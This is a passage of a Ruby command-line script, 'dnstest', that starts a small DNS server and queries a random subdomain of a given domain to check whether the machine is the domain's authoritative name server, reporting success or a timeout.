7 # Simply checks if you're the authoritative server.
8 ##
9
10 $LOAD_PATH << File.dirname(__FILE__) # A hack to make this work on 1.8/1.9
11
12 require 'trollop'
13 require '../server/libs/dnser'
14
15 # version info
16 NAME = "dnstest"
17 VERSION = "v1.0.0"
18
19 Thread.abort_on_exception = true
20
21 # Options
22 opts = Trollop::options do
23 version(NAME + " " + VERSION)
24
25 opt :version, "Get the #{NAME} version", :type => :boolean, :default => false
26 opt :host, "The ip address to listen on", :type => :string, :default => "0.0.0.0"
27 opt :port, "The port to listen on", :type => :integer, :default => 53
28 opt :domain, "The domain to check", :type => :string, :default => nil, :required => true
29 opt :timeout, "The amount of time (seconds) to wait for a response", :type => :integer, :default => 10
30 end
31
32 if(opts[:port] < 0 || opts[:port] > 65535)
33 Trollop::die :port, "must be a valid port (between 0 and 65535)"
34 end
35
36 if(opts[:domain].nil?)
37 Trollop::die :domain, "Domain is required!"
38 end
39
40 puts("Starting #{NAME} #{VERSION} DNS server on #{opts[:host]}:#{opts[:port]}")
41
42 domain = (0...16).map { ('a'..'z').to_a[rand(26)] }.join() + "." + opts[:domain]
43
44 dnser = DNSer.new(opts[:host], opts[:port])
45
46 dnser.on_request() do |transaction|
47 request = transaction.request
48
49 if(request.questions.length < 1)
50 puts("The request didn't ask any questions!")
51 next
52 end
53
54 if(request.questions.length > 1)
55 puts("The request asked multiple questions! This is super unusual, if you can reproduce, please report!")
56 next
57 end
58
59 question = request.questions[0]
60 puts("Received: #{question}")
61 if(question.type == DNSer::Packet::TYPE_A && question.name == domain)
62 puts("You have the authoritative server!")
63 transaction.error!(DNSer::Packet::RCODE_NAME_ERROR)
64 exit()
65 else
66 puts("Received a different request: #{question}")
67 end
68
69 # Always respond with an error
70 transaction.error!(DNSer::Packet::RCODE_NAME_ERROR)
71 end
72
73 puts("Sending: #{domain}!")
74 DNSer.query(domain, { :type => DNSer::Packet::TYPE_A }) do |response|
75 # Do nothing
76 end
77
78 sleep(opts[:timeout])
79
80 puts("Request timed out... you probably don't have the authoritative server. :(")
81 exit(0)